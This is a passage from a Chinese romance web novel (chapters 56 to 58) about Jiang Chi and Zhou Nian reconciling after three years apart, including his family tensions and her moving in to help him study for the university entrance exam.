女人原本刷手机刷得有点不耐烦,觉得这个男人一晚上都莫名其妙的,心里顿时萌生退意。但他一声令下,自己居然愿意乖乖配合。她开门下车,江池大步流星往前,她只得踩着高跟鞋匆匆跟上。 走到楼道口,江池突然驻足,等女人走到面前,他的手很自然地搭在她肩头。车上被冷落了一个小时,现在他突然搂上来,女人竟有点受宠若惊,于是她笑着去搂他的腰。 两人走至二楼,江池突然止步,只见他原地提了口气,又改变主意把女人的手从自己腰上轻轻拂去。 女人有理由相信,面前这男人脑子有病。她朝天翻了个白眼,心想要不是看在他长得标致,老娘哪有闲工夫陪他在这儿瞎闹。 江池看到周念时,她正坐在台阶上绷紧小脸处理公事,而不是彷徨无措在门口绕圈踱步,他心头顿生一股拳头打在棉花上的无力感。也就在那一瞬间,他的脸冷得像块千年不化的冰山。 周念余光瞥见两人一前一后上楼,敲键盘的手一顿,她抱着笔记本倏地站起来,目光游离在两人脸上,她张了张嘴准备说点什么,还没说出口,江池已经与她擦肩而过,期间甚至没有看她一眼。 于是她眼睁睁看着两人进了门。 江池把人带进房门,自己则拉开书桌前的椅子,一屁股坐下。见到女人不知所措的眼神,他稍稍偏了下头,视线落到床上,用眼神示意:坐。 女人不明所以地挑了下眉:“帅哥,你什么意思啊,坐那么远怎么办事儿啊。” 江池轻笑一声,理直气壮:“我什么时候说过要跟你办事了?” 女人被他气笑了,她往后撸了把头发,坐上床。 “没这样开玩笑的,谁的时间不是时间?总不能仗着自己有点姿色就为所欲为吧。” 江池松松垮垮地坐在椅子上,反手拉开抽屉,从抽屉里拿出一叠百元大钞扔床上。 “够吗?” 女人瞥了眼床上颇为可观的钱,恼意全消。 “那得看让我做些什么了,犯法的事儿我可不干。” “会叫/床吗?” 女人忽地失笑,视线游走在他身上:“那得看有没有人配合了。” 江池也不惯她:“那你走吧。” 女人一下子被架在那儿骑虎难下,她垂下眼眸,用眼睛丈量着钱的厚度,起码大几千。她默了秒,手指轻轻地在钱上摩挲,不就叫几声吗,不亏。于是故作不情不愿道:“干叫啊?” 江池起身,走到门口,把房门大开。 “随你怎么叫。” 说完,一个人走出房门。 女人的声音穿过门缝传入周念耳中,当时她正心不在焉地整理早上的数据,听到这一声略显干涩的叫声,她下意识地回头看向那扇门。 女人为了拿钱拿得心安理得,叫得卖力,直让江池频频蹙眉,没多久,他敲了敲房门,女人的尾音突然掐在喉间。 “够了。” 女人惊喜,这钱未免也太好赚了,为防止时间过短,江池会收回一部分钱,她干脆把钱放进小包,猜想对方应该不会那么没品,伸手从自己包里拿钱。 女人走出房间,怕他反悔,匆匆忙忙要走。江池坐在沙发上用眼神示意:“不急,坐会儿。” 拿人手短,女人只好听 话乖乖地落座。 女人嫌干坐着无聊,回想起刚才一些细枝末节大抵是猜到了什么,她单手托腮撑在沙发上,压低声问:“门外那个,你女朋友?为了气她?” 江池缄默不语,甚至连个眼神都不带给的。 女人无趣地嘟起嘴。 “别玩过头了把人气走了,我看你倒是挺在意她的。” 闻言,江池不动声色地绷紧唇线。 半晌,江池开口了:“你走吧。” 话音未落,女人立马起身,几乎是蹦跳着去开门。开门的一瞬,女人对上了门外那双波澜不惊的眼。她轻手轻脚合上门,纳闷地想着,这姑娘真能忍啊,一声不吭坐外头,不会是经常被这样冷落吧。这般想着,她又没好气地给门内某人翻了个白眼。 死渣男! 江池仰头靠在沙发上,他不确定周念有没有被激走,甚至不确定她走后会不会再来。他猛然睁眼,刺眼的灯光骤然扎进眼缝,起身走到门口,慢慢推开大门。 此刻周念正举着手准备敲门,两人四目相对,一时无声。 周念举起的手轻轻垂落,似笑非笑地开口:“那么快啊,结束了?” 江池:“” 不等他说话,周念一步上前,撑开门径自挤了进去。江池眼睁睁看着她将包甩在沙发上,笔记本往桌面一放,目光扫过墙面,最终落在墙角的插座上。 “借个电用。” 她开启电脑,打字前视线突然转向江池:“以后别花这种冤枉钱。” 江池身形一顿,他看不穿她,只觉得她可怕。三年前那个晚上,他好不容易说服自己放下,可三年后她却毫无预兆地闯入,连考虑与拒绝的余地都不留给自己。他忽地自嘲一笑,轻轻关上门,几不可查地叹了口气。 这会儿,烟瘾又犯了,他自顾自回屋走到窗边点了根烟,点完回客厅,周念已经不见踪影,可她的电脑和包还安静地躺在那边。 江池看向大门,门没合实虚掩着,灯光穿过门缝盖在她刚刚坐过的台阶。 约莫二十分钟,周念提着一大袋速食进了门。走进厨房时,特意回头看了眼江池。 “我饿了,你饿吗?” 也不等他回答,周念把整个冰箱塞得满满当当,塞完后,从满柜速食中抽出一盒水饺。 这时,张宁给她打了电话,看着屏幕上的字眼,没由来地短叹一声,然后接起电话。 “妈?” “念念,几点了还没回来,你在哪儿呢?” 周念回头看了眼墙上的挂钟,十点半。 “我在实验室,还有一些活没做完,做完我就回去。” “下次把你同学的电话给我一个吧,你老那么晚回来,我不放心。” “好。” 简单说了几句,就挂了,周念将煮完的水饺分两份盛入碗中。盛完,她尝试着将两碗一起端出去,可灼热的碗沿让她缩回手,于是她朝门外扬声道。 “能过来帮我一下吗,太烫了,我端不动。” 江池站在原地没动,她从门框里探出半个脑袋,眼神求助。 “你不饿吗?” 江池仍杵着,纹丝不动。 周念没辙,试图用抹布裹住碗沿,还没动手,头顶的光暗了半寸,面前两碗水饺被江池徒手端走。 周念看着桌上两碗数量不一的水饺,将少的那碗移到自己面前,多的那碗推给江池,之后默不作声地吃了起来。 江池抱臂坐在她对面,静静地看她进食,半晌,突然闷笑。 “那么多年了,说谎的本事还是炉火纯青。” 周念拿勺的手一顿,心想他刚刚应该是听到了她跟张宁的对话,她放下勺子,直视他讥诮的目光。 “也有真话。” 江池的心陡然一跳,就听她说。 “看对谁说。” 周念垂眸,用勺子搅动汤里的水饺。 “至少对你,都是真的。” 吃完最后一个饺子,她抽纸巾擦嘴。 “吃完了把碗洗了,我先走了。” 第56章 第56章快下雨了,去我家关窗户…… 江池将车停在半山腰,他关上车门半倚着车门点了根烟,目光不经意间掠过零星散布的几座小别墅,远眺山下大片住宅,最终落在周念家那片小楼上。 山上的风如强劲的刀撕开烟雾编织的薄纱,让本可以抽得久些的烟一下子烧到了头。 江池将烟蒂扔进旁边的垃圾桶,朝其中一座别墅缓步走去。他在别墅外驻足,正犹豫是否该进去,大门已从里面打开。一个四十出头、雍容富态的女人探出头来,见到来人是江池,先是一愣,随即意味不明地扯了扯嘴角,最后笑着引他进门。 “小池来了,进来啊。” 女人是江池的舅妈薛芳,作为舅舅傅时的第二任妻子,她平时与江池鲜少往来,只在傅研去世时说过几句话。 江池微微颔首,随她进门。薛芳让阿姨给江池准备点心,转头问道:“你今天来找你舅舅还是你外婆?” 江池抬眼望向二楼深处的房间:“我去看看外婆。” 薛芳本就懒得客套,随手挥了挥:“去吧。” 待他拾级而上,薛芳不客气地冲他背影翻了个白眼:“没礼貌。” 江池路过傅时房间时,正巧碰上傅时开门出来,两人目光相触的瞬间都沉默下来。几秒后,江池先开了口。 “舅舅。” 傅时点点头,略显窘迫地移开视线,他张了张嘴,最终欲言又止。江池见他这般拘谨,主动道:“您有话直说。” “也没什么。”傅时不好意思地挠挠头,“最近身体还好吗?” 江池垂在身侧的手指微微收紧:“挺好。” 傅时最终叹了口气,上前半步,抬手拍了拍他的后背。 “以后不能做傻事了。” 江池低眸应声:“嗯,我知道。” 傅时喉结动了动,望向楼梯方向:“去吧,去看看你外婆,她早就念叨你了。” 江池:“好。” 江池刻意放轻脚步推门而入,外婆林静姝正躺在床上小憩。边上的看护见有人来便想唤醒老人,江池及时将食指抵在唇间,无声比出“嘘”的手势:“别吵醒她。” 看护会意,默默退到角落。 江池站在床头,低头凝视着林静姝,数月未见,老人的眼窝陷得更深了,原本灰白的鬓发已全然雪白,整个人像被抽干了水分的枯叶,单薄地贴在床褥上。他转身小声问看护:“她最近身体怎么样? 看护瞥了眼床上的老人,脸色凝重地摇头:“精气神很差。” 江池追问:“吃饭呢?” 看护思索片刻,语气稍缓:“能吃下去,就是吃得少。” 江池这才微微颔首。 上了岁数的人,深度睡眠本就是奢望,何况是在白天。林静姝听到响动,缓缓睁开眼,看清是江池的瞬间,眼眶立刻红了。 “小池来了……” 江池赶忙坐到床边,笑着用指腹抹去她眼角的泪。 “外婆,我来看您了。” 林静姝哭罢,抬起手作势要打他,苍老的手掌落在江池手臂上不过是轻轻一拍,江池故意装疼:“你要打死你宝贝外孙?” “你要再敢提‘死’字,我我也不活了,撞墙算了。” 江池挑了挑眉,下巴一抬故意激她:“去吧,我倒要看看你能不能站起来。” “贫嘴!你呀,气死我算了。” 林静姝气鼓鼓地斜睨他:“带外婆出去走走,总闷在屋里难受。” 他半蹲下身,小心地搀住老人瘦骨嶙峋的胳膊。 “好。” 江池把林静姝打横抱起,轻手轻脚地走下楼梯,小心翼翼地将她安置在轮椅上,又拿羊毛围巾将她裹得严严实实。 傍晚,从半山腰望出去,远处的景致像幅泼墨画,最后一抹残阳卡在层峦叠嶂之中,像条困在水草丛中的赤鳞锦鲤。 轮椅碾过碎石小径时,林静姝突然抓住江池的手腕,掌心的老茧蹭得他皮肤发疼。想起上次自杀的事,老人眼眶又开始泛红。 “上次的事,你可把我这把老骨头吓坏了。” 江池喉结滚动,低声道:“对不起,外婆。” “哎。” 林静姝仰头望着天边的晚霞,脖颈像生锈的齿轮般勉强转过小半张脸: “其实你妈的事情跟你一点关系都没有,这都是个意外。” 江池轻轻‘嗯’了声,没接话。 林静姝感叹道:“他们闹离婚那会儿,你还小不知道其中缘故,发点脾气都是应该的,也怪你妈,非不让我们说。” 江池又顺着她‘嗯’了声,说话间抬手抹了把发烫的眼角。 “门不当户不对的婚事,非要嫁给一个穷小子。” “哼。”林静姝冷哼道:“后来还以为你爸出息了,没想到啊。” 江池喉口哽咽,打断她的话:“您别说了,我不想听。” 林静姝轻轻拍了拍他的手,像哄小时候的他一样。 “外婆就想告诉你,别用别人的错惩罚自己。别困在过去,也别在意别人怎么看,他人的话不过是耳旁风,日子是自己的。” 他盯着地面晃动的树影,闷声应道:“知道了。” 暮色像浸了墨的丝绸漫上来,江池推着林静姝往回走,走至一半,林静姝突然话锋一转。 “有喜欢的姑娘吗?” “嗯?” “外婆是说你现在有没有喜欢的女孩子?” 在这一瞬,脑海中忽然浮现起周念的脸,江池没否认。 “有。” 林静姝眼睛一亮:“照片呢,给外婆看看。” 江池扯了扯嘴角:“以前有,删了。” “闹别扭啊?”林静姝戳了戳他的手背:“你一个大男人,让让人家小姑娘怎么了。” “让她?”江池忽然笑了,笑声里带着说不出的苦涩:“她多厉害啊,让让我才对。” 老人被逗得直乐:“她那么有本事的?” “就是本事太大了。”他声音渐渐小下去:“分不清她哪句是真话,哪句是假话。” 山风太大,江池怕老人受凉,便推着轮椅加快速度往回走。饭点到了,林静姝体力不支,没法和大家一起用餐,江池只得将她抱回卧室。 薛芳让阿姨摆了一桌好菜,傅时坐在主位上举着酒杯招呼:“阿池,陪舅舅喝两杯,今晚就住下吧。” 江池看了眼高脚杯里的红酒:“最近喝不了,晚上得回去。” 傅时抿了口酒,目光暗下来:“还怨着舅舅呢?” 江池垂眸摆弄碗筷。 “没有。” 薛芳瞧着气氛微妙,从边上拿了只白瓷碗盛汤,端到江池面前,嘴角挂着笑试探:“小池啊,你家那些产业真不要了?跟舅妈说实话,是不是一时气话?” 傅时猛地剜了她一眼,她立刻柳眉倒竖地回瞪:“看什么看?我就问问,父母留的东西凭什么便宜外人?” 江池扯了扯嘴角,眼睑重重垂下,没接话。 见他这副沉默的样子,薛芳顿时来气,也不再装和气:“大学都没读,以后拿什么谋生?结婚买房的钱从哪儿来?难不成要舅舅替你掏?” “你给我闭嘴!” 傅时突然将汤勺砸向桌面,瓷碗应声翻倒,汤汁溅湿了薛芳的袖口。 “你发什么疯!” 薛芳尖叫着抽回手。 “你说得没错。” 江池往后一靠,整个人陷进椅背,笑了笑。 “我吃饱了,你们慢用。” 江池回到车内,开窗点了根烟。山下的灯火璀璨如银河倒悬,他盯着中控屏上的时间——晚八点,忽然想起这个点周念是否又坐在门口等。 银城的晚高峰还没散,车程少说要一小时,楼上那两个游手好闲的混混…… 他莫名焦躁,指尖无意识地敲打车窗。 没时间思考太久,他快速按下点火键,引擎却毫无反应,他又尝试几次,点火键按冒烟了都发动不了。 江池骂了句脏话,翻出手机给徐明打电话。 徐明接电话时正在酒吧和美女热聊,震动了好几下才懒洋洋地摸出手机。看清来电显示是江池,他立刻起身往门外走。 “什么事儿啊那么着急?” 江池捏灭烟头说:“快下雨了,去我家关窗户。” “什么?”徐明以为自己听错了,重复道:“关窗?” “嗯。” 徐明仰头往外走了两步,纵使夜色如墨,抬头仍能望见满天星子。 “你神经病吧,你看天气预报了吗?这天呢能” “让你关就关。”江池打断他,声音压得及低,“哪儿那么多废话。” “行行行!欠你的。”徐明无奈妥协:“我徐明这次要是再谈不上恋爱,我就跟你江池没完!” 江池:“” 徐明几乎是一路骂骂咧咧到的江池家。他踏进楼道亮灯的一瞬,不可思议地抬头看了眼,又疑惑地退回单元门前看门牌,确认无误才小跑上楼。 等他看到周念坐在江池门前翻着厚厚的文献时,一切都解释得通了。 徐明无语地叹了口气,扶着额,笑出了声。 周念听到笑声,猛然抬头,看清来人是徐明默默地舒了口气。她对他礼貌地微微一笑。 徐明没给什么好脸色,自顾自走上前,坐在她边上。 “周念。” “嗯?” 徐明看向她的眼睛,直言自己的困惑。 “你说你这个时候回来来找阿池干嘛?他现在什么都没有,情绪也不太好,你还图什么啊?” 周念顺着他的话直点头,点完反问他:“你怎么知道我不是图他人呢?” “你可拉倒吧。”徐明正好借机好好细数她的罪证:“口口声声说让他等一年,他等来了什么?等来了当众扒皮羞辱?就不说这些,你说给他织围巾,结果去商场买了条糊弄他。他呢,还自我安慰上的,买的也是心意,那表情,别提多委屈了。” 以前总在电视剧和小说里看到诸如此般的误会,现在发生在自己身上竟觉得如此荒诞,周念没解释围巾的事,只是无奈地扯了扯嘴角。 “我姑且认为你对江池是有那么点意思,但是你父母那儿呢?他妈跟你爸有这层关系在,你妈能同意?就算能同意,那你周念堂堂一个高材生,往后可能还要读硕读博,他江池一个高中毕业,你爸妈会认可吗?” “再者,也是最重要的一点,傅阿姨的死跟你脱不了关系吧。” 周念默默地听着,突然打断道:“你在江池面前也是这样分析的吗?” 徐明一时哑然,背后说人坏话固然不对,但自己说的都是实话,于是理直气壮道:“那又怎么样。” “没怎么样。”周念平静地看着他,看得徐明有点心虚,她又抿唇笑了笑,:“你都这样分析了,他都忘不了我,那你是不是太失败了?” 徐明气得想骂人,但他忍了,周念瞧他这副模样觉得好笑,笑了笑后,很郑重地说:“谢谢你啊,徐明。” 徐明:“谢我什么?” 周念:“谢谢你救了江池,也给我了一次机会。” ** 在单元楼下,徐明正刷着视频。屏幕里,猫耳少女跳着擦边舞,身姿摇曳。他手指不停,一次次点击屏幕点赞,刷了一会儿,还特意停下来打字评论:“猫娘今天美翻了。” 打完,抬头,不远处有个身影狂奔而来。 江池跑到他跟前,双手撑膝,喘了几口大气。 徐明关掉屏幕,语气里都是阴阳怪气:“怎么?跑那么快怕大雨把家里给淹了?” 江池懒得理睬他的揶揄,在楼下缓了口气,平复气息后转身踏进楼道。 “她走了。” 徐明见他身形一顿,继而补充道:“早让她走,她不走,说什么时 间到了自然会走。结果十一点一到,比上下班打卡都积极,转身人就没了。” 第57章 第57章谁不在乎? 实验结束是晚上八点多,陈丽提议大家去唱k放松,周念以家中有事为由婉拒了,看着她离开的背影,陈丽跟边上的另一个组员谢菲嘀咕道:“周念怎么每天都那么忙?” 谢菲耸肩:“那谁知道呢。” 周念赶到江池家楼下时,不远处迎面走来两个人,一高一矮,一胖一瘦,有点眼熟。周遭昏暗,周念眯起眼睛仔细打量了一番,看清模样后快速低下头朝反方向迈步。 江池把家里仅有的垃圾收拢,随后扭头去看挂钟。 这个点,周念应该快到了。 于是,他轻手轻脚打开门,目光习惯性扫向面前台阶,可惜照旧空空如也,他暗自叹了口气,准备下楼,这时,楼下传来脚步声。抬眼望去,那晚那两个混混正有说有笑地往上走,路过他时,还意味深长地对视了一眼。几秒后,上方飘来一个极轻的声音。 “那天那女的这两天怎么没碰到。” 江池原地皱了皱眉,没多理会,继续下楼。到了单元门口,一眼便瞧见周念在门口徘徊,脚步犹豫不定。他心下了然,原地伫立数秒后故意用垃圾袋剐蹭铁门。 “哐当”。 周念循声望来,见到是江池,想也没想默默跟了过来。 在离垃圾桶不过两三米的地方,江池立定站好,抬手随意地轻轻一抛,手中的垃圾便在空中划过一道利落的弧线,精准无误地落入桶内。 他原地掏出一根烟,动作娴熟地点燃。 这时,周念的声音不紧不慢地钻进他耳中:“戒烟吧。” 江池身形未动,只是缓缓偏过脸,侧脸的线条在烟雾缭绕中显得分明,却未曾看向周念。 他语气淡漠:“你以什么身份管我?” 周念迈着步子走上前,她微微仰头,目光执着地想要捕捉江池的视线。 “你想我以什么身份管你?” 江池垂眸,视线终于落在周念脸上,他的嘴角微微勾起似笑非笑,带着些许玩味与嘲讽,轻声说道:“周念,你会不会太把自己当回事了。” 周念默默深吸一口气,平复了下情绪,顺着他的话说道:“也对,是我高估自己了。从明天起,我不会再像前些天一样,没完没了地守在你门外了。危险不说,还轻贱自己。” 江池喉结不自觉地上下滚动,原本已经送到嘴边的烟,又缓缓地移开了。他压低声音,语气中带着一丝不易察觉的慌乱与恼意:“少拿这话威胁我,你以为我在乎?” “那你看着我的眼睛。” 周念毫不退缩,目光灼灼地盯着江池,待他的目光再次垂落,与自己对视时,周念一字一顿、郑重其事地问道,“你真的不想我来吗?你要是不想,我现在就走,以后都不会再来打扰你。” 江池有些不自在地挪开了视线,身体也随之半转过去。手中的烟,自那之后,便再也没有吸上一口。此刻的他,像是一个闹别扭的孩子,带着一丝赌气,抬起脚,不轻不重地踹在了垃圾桶上,随后转身,一言不发地朝着楼上走去。 两人一前一后,很快来到三楼门口。江池走到门前,却没有立刻开门进去。他在原地伫立,犹豫了片刻,当着周念的面,抬手将一枚钥匙轻轻放在了门框上。放好后,又从口袋里掏出另一枚钥匙,打开门走了进去。 他进门后,门没有关上,就那么大大敞着。 周念望着那扇敞开的门,嘴角微微一动似有若无地牵起一抹弧度。 等她进门,江池已经将自己关进房间了。 周念这次来得匆忙,一些重要数据还未来得及整理。她轻轻带上房门,坐到桌前,从包里拿出笔记本电脑,全神贯注地投入到数据整理工作中。 大半个小时后,周念终于将处理完的数据整合完毕,仔细检查一遍后,果断地发给了郑渊。 约莫过了五六分钟,手机屏幕突然亮起,郑渊的来电显示跃入眼帘。周念轻轻划开接听键,郑渊那低沉而富有磁性的声音瞬间在整个客厅里回荡开来。 “现在方便接电话吗?” “你说。” 周念一边回应,一边将手机稳稳地放在桌面上,手指轻点,打开了扬声器。 “周念,你看一下第三组” 隔着门缝,两人的对话丝丝缕缕地钻进了江池耳中,他莫名地烦躁,伸手就想去拿桌上的烟。霎时,脑海中突然浮现出刚刚和周念那不怎么愉快的对话,他的动作一滞,内心挣扎了会儿,最终还是默默地将烟盒塞了回去。 江池站起身,不紧不慢地走出房间,径直朝着厨房走去。路过周念身边时,看似不经意地微微侧头,余光不动声色地朝着桌上的手机瞥了一眼。 期间,周念都只目不转睛地盯着电脑和郑渊分析数据。 一杯水,江池整整喝了十分钟。 数据核对完毕,郑渊却没有挂断电话的意思,话题一转,关切地询问起周念近日的状况。 “你最近晚上走得都挺急,家里是有什么事吗?要是有难处,说不定我能帮上忙。” 周念下意识地抿了抿唇,语气中带着一丝歉意说道。 “不好意思,后面几天的收尾工作都交给我来做吧。” 电话那头传来一阵爽朗的笑声:“我可不是那个意思,就是单纯关心一下小学妹。” 江池闻言,没来由地从鼻腔里发出一声嗤笑。 周念听到笑声,猛地回头,朝着江池的方向狠狠瞪了一眼。 江池:“” 周念对着手机回复郑渊:“我真没什么事,谢谢你。明天开始,我会跟上大家的节奏,不会再早退了。” 郑渊赶忙解释。 “我真不是责怪你的意思。这样吧,明天是周末,咱们小组一起吃个晚饭,好好联络联络感情,怎么样?” 周念稍作犹豫说:“好。” 郑渊接着问:“你有什么推荐的吗?” 周念确认道:“饭店吗?” “嗯。” 周念想起上次和叶琳去的那家融合菜。 “城北有一家新开的融合菜餐厅,味道还挺不错的。” “那明天就暂定那边。” “好。” 挂断电话,周念又回头去看江池,直勾勾地盯着,看得江池不自在。 “给我倒杯水。” “” 江池嘴上没答应,手脚倒是勤快,弯身从橱柜取了个杯子,倒满冷水递到桌前。 有那么一秒,江池怀疑自己被人下蛊了,前一刻还嘴硬赶人走,后一刻就乖乖端茶倒水,听话得像个仆人。 周念接过水,笑眯眯地冲他道谢:“谢谢。” 江池用脚勾出椅子,坐在她对面落座,抱着臂,好整以暇地看她。待她抬眸对上他的眼睛才忽地闷笑一声。 “贵人事多,怪不得明天不来了,原来是忙着跟别人约会。” 周念神色平静,目光直直地迎上江池的双眼,语气里透着一丝不易觉察的挑衅。 “你又不在乎。” 头顶那盏吊灯散发着冷白色的光,直直落下,在江池脸上划出一道明暗界限,他微微低头,深邃的眼睛隐在暗处,看得周念莫名生出些寒意。 她躲开视线地一瞬,头顶的灭了,寂静的世界突然哗然,楼下有人愤愤抱怨。 “怎么突然停电啦?” “跳闸还是停电啊。” “大晚上的。” 屋内,浓稠的夜色如潮水般迅速蔓延,将一切都吞噬其中。对面江池的身影,此刻只剩下一个模糊的剪影,隐在黑暗里,宛如一座沉默的雕塑,纹丝不动。 她定了定神,尽量让自己的声音听起来平稳一些:“我得先走了。” 说着,她摸索着将电脑和资料一股脑儿地塞进包里,随后迅速站起身,朝着门口的方向走去。 她匆匆走到门前,手掌刚触碰到门把手,轻轻一拉,身后原本静谧的影子忽然动了,好似从沉睡中骤然惊醒的野兽,开始不安分地蠢蠢欲动。 微微开启的门缝再一次被合紧,江池的手掌稳稳撑在门上,手臂横在她耳边。 他低沉的声音从身后悠悠传来。 “谁不在乎?” 周念的心陡然间加速跳动,她无意识地屏住呼吸,只觉得自己被巨大而无形的阴影彻底笼罩。 江池伸出手臂,揽住周念的腰肢,一个轻巧却有力的动作,便将她整个身子扭转过来,面向自己。 他身躯微微前 倾,头颅低垂,以一种近乎侵略的姿态欺近。 “谁不在乎,嗯?” 周念默默地咽了口气,手脚都不知该如何摆放。 她开始后悔刚才挑衅江池。 他的喉结不自觉上下滚动,呼吸越发沉重,温热的气息仿若细密的雨点,急促且紊乱地喷洒在周念的脖颈处,激起她皮肤上一层细密的战栗。 周念佯装镇定:“是你要赶我走的。” “我赶你走,你就走?你什么时候那么听话了?” 暗中,他的目光紧紧锁住周念的双眼,似要从她眼眸中探寻出答案。 未等她答,江池单手紧紧箍住她的腰,将她用力地拉近自己。暗中,他感受到怀中人轻微的颤抖,那些刻意筑起的高墙在黑暗里轰然倒塌,还未等周念反应过来,那个强势而激进的吻就已经覆在她的唇间,他的唇重重地压上她的,急切地索取着。 那些夜里辗转反侧的思念如同那座别墅前肆意疯长的野草。他等了太久,甚至在割腕后的一段走马灯前,最后定格的画面居然是周念。他试图将所有的思念,愤恨都贯彻在这个吻里。 江池强势地霸占着所有气息,周念被他吻得喘不过气。就在她理智殆尽的最后瞬间,江池停滞了,她的脸颊上淌过一滴眼泪,然后是第二滴,第三滴。 周念深呼吸,刻意调整气息,她知道,傅研的死终究是横在他们之间无法逾越的鸿沟。她用手帮江池擦眼泪,擦着擦着,自己的眼睛也跟着温热了。 江池将她紧紧拥在怀里,轻轻地吻了吻她的头发:“对不起。” 暗中,传来她静如止水的回复:“没关系。” 黑夜将沉默无止境的拉长,周念轻轻地挣脱开他的怀抱。 “我得走了。” “嗯。” 等她回头,江池又拉住她的手腕。 “明天还来吗?” “那你想我来吗?我要你说实话。” “想。” “那我就来。” 江池放开她的手,先她一步打开门。周念走在前头,他尾随其后。 “我开车送你。” 周念没拒绝。 车上两人沉默了一路,直到车子行驶到周念家门口,江池才恢复到以往的口吻。 “明天还去跟人家约会吗?” 周念故意逗他:“你管不着吧。” 江池无奈笑笑:“你看我管不管得着。” 周念是知道他脾气的,只好老实交代:“那我不去了。” 第58章 第58章江池,我会永远永远站在…… 周念很久没有上阁楼了,上一次进阁楼还是三年前的事。 清晨,阳光从斜顶窗户的缝隙里漏进来,在凝滞的空气里画出几道金色的河,无数尘埃在光束中浮沉。 她跨过横七竖八的杂物,走到角落——高中毕业后舍不得扔课本,便将它们堆放在这里。若不是因为江池,或许多年后都想不起家里还有这堆东西。 她用大半个小时的时间将有用的书籍和笔记统统整理出来,拿绳子捆成厚厚一摞。 叶琳下车瞧见那摞厚厚的书本时,下意识发出了灵魂质问:“你要去卖废品啊?” 周念懒得理她,绕过她身侧,来到车子后备箱:“后备箱开一下。” 叶琳虽然费解但很配合的按动钥匙,她把边上的行李箱一同拉至后备箱:“你要去哪儿啊?大包小包的,搬家?” “嗯。” “搬去哪里啊?” “江池家。” 周念没打算瞒她:“先别告诉我爸妈,我跟他们说睡宿舍。” 叶琳原地蒙圈:“你胆子真大啊!你妈要是知道这事,江池家屋顶都得给她掀了。” 感慨之余,八卦心起。 叶琳凑到周念耳边,眸光闪着好奇:“你俩睡了?江池那方面怎么样?你们和谐吗?” 周念无言以对,叶琳继而追问:“他看起来就是很会的男人。” “……”周念反调侃起她:“你们家体制男不行吗?” 叶琳一噎,没下文了。 周念自顾自上车,拉下车窗:“别发呆了,开车吧。” 周念将大包小包扔在单元楼门口,随即打发走了叶琳,等车驶远又给江池打了电话。 “醒了吗?下来帮忙。” 是不容置喙的口吻,江池接到电话,下楼的速度比以往快了许多。当他看到一地课本时表情和叶琳刚才如出一辙。 “我不记得我开过废品回收。” 周念郑重地纠正道:“这些将成为你未来宝贵的财富!” 江池走到她面前,居高临下地歪了歪头。 “周老师,您什么意思?” 周念双手提起那摞书,在江池面前沉沉一放。 “你都叫我周老师了,我还能有什么意思,好好学习,天天向上。” 江池漫不经心地点了点头,眸光掠过那个超大号行李箱。 “这也是我的财富?” 周念抿了抿唇,敛起鬓发:“从今天开始,我要住进来。” “住进来?”江池的嘴角闪过一丝不怀好意的笑容,目光也变得晦涩难懂:“我这儿只有一张床。” 周念避开他炽烈的目光,回身去拉行李箱。 “你放心,床我已经买了,一会儿就能送来。” 江池耸了耸肩,难掩小失落,他一手拉过箱子,一手提起课本试了试重量。然后对周念说:“你先上去,这些太重,用不着你。” 周念乖乖点头,转身上楼。 两人一前一后上了楼,周念伫立在三楼门前,仰头看向门框上的钥匙,显然以她的身高就算是垫脚或是起跳都够不到。江池松开拉杆箱伸手把钥匙取下来,递过去。 “想清楚了?住进来。” 周念接过钥匙,仰头去看他。 “我做的每个决定都是深思熟虑的结果。” 说完,拿那枚钥匙试着开门。 江池将周念的行李放在玄关附近,轻轻合上门,在周念转身的一瞬扣住她的手腕,把她拽到自己跟前。 他双手握紧周念的手腕,低头去够她的视线。 “你爸妈知道吗?” “还不知道。”周念镇定地看着他的眼睛:“你害怕了?” 江池滚了滚喉结,并不否认:“嗯。” “怕什么?怕他们不同意,会阻止?” 多年前的那把钝刀,再一次割向自己,江池深深提了口气,目光渐渐垂落到地上,他点头说:“是。” “我只住两个月,两个月后,等项目结束我就回北城。” 这次,轮到周念向前一步,去触碰他的暗淡无光的眼睛。 “我希望你能参加今年的高考,等考完你再来找我。到了那个时候,我希望站在我面前的不是昏昏沉沉、无所事事的江池,而是一个干干净净,阳光爽朗的江池。” “三年前,我去游泳馆找你,看到你就站在路边台阶上,一脸迷茫地抽烟,那时我就想,你不应该这样,你不应该只是这样。你有更宽更广的路要走,你懂我的意思吗?你现在害怕我父母,除你母亲的那层关系外,无非就是因为不自信。你的不自信源于你永远拘泥在原地,你看着我一步步走远,越来越远,所以你害怕。” “江池,等你向上爬的时候,没有人会看不起你,也没有资格看不起你。” 她凝视着江池眼底的闪躲,温柔而坚定地说。 “江池,我会永远永远站在你这边。” 江池喉间蓦地哽住,就在眼睛发痒发烫之际,他忽然低头埋进她肩窝,双臂紧紧收拢将人箍进怀中。 “嗯。好。我听你的。” 两个人简单收拾了下,饭点,江池在厨房煮些速食,周念在门口整理书籍,期间叶琳 和方妙在群里发了上百条信息。无一例外都是在八卦她同居的事。周念盯着屏幕想解释,想了半天无从说起,正要放下手机,屏幕上跳出一串陌生号码。 周念按下接通件:“喂,你好。” 对面是个上了年纪的男人:“请问你是不是定了我们家的床,实在不好意思,这款床今天缺货,明天来行吗?” 周念默了秒,转头望了眼江池的背影,回头时清浅地短叹一声。 “好,那明天请务必要送来。” “没问题的,多谢谅解。” 话音未落,江池端着一份煎包从厨房走出来,视线落在周念脸上。 “谁的电话?” 周念眸光一落,只说:“学姐,说是有点事晚点跟我讨论。” 说完,江池就不再追问了。 吃完饭,周念给江池列了个清单,要求他去超市采买日常用品,顺便买点菜把冰箱塞塞满。江池接过清单,出门时顿了顿,总觉得说不上来的古怪。 他这样一个反骨的人,怎么周念说什么,自己就做什么? 他试图为自己卑微的处境找补一下,周念见他还不走,眼睛一瞪,脖子一歪问道:“有事吗?” 江池莫名地闷笑一声说:“没了。” 江池拎着塑料袋回家时,周念已经睡着了,小小一个蜷在沙发里,发顶堪堪露出他那件黑色外套,布料随着呼吸轻轻起伏,像片被风掀动的鸦羽。 他轻手轻脚将东西拎至厨房,回房间的路上又朝沙发望了眼。他走进房间,走到床头,拎起被子一角闻了闻,一股淡淡的烟味,他又拿起枕头闻了闻,还是烟味。 他将被子枕头连同被单整套换掉,新被褥没有晒过,他拽起一角闻,所幸没有霉味。 江池回到沙发前,掀开外衣,毫不费力地将周念横抱起来,周念实在是困,微微张了张眼看到江池又安心地合上眼睛。 他把人抱上床,掖好被子,自己则坐在床头一声不吭地看着,看久了又忍不住伸手撩拨她额前的碎发。 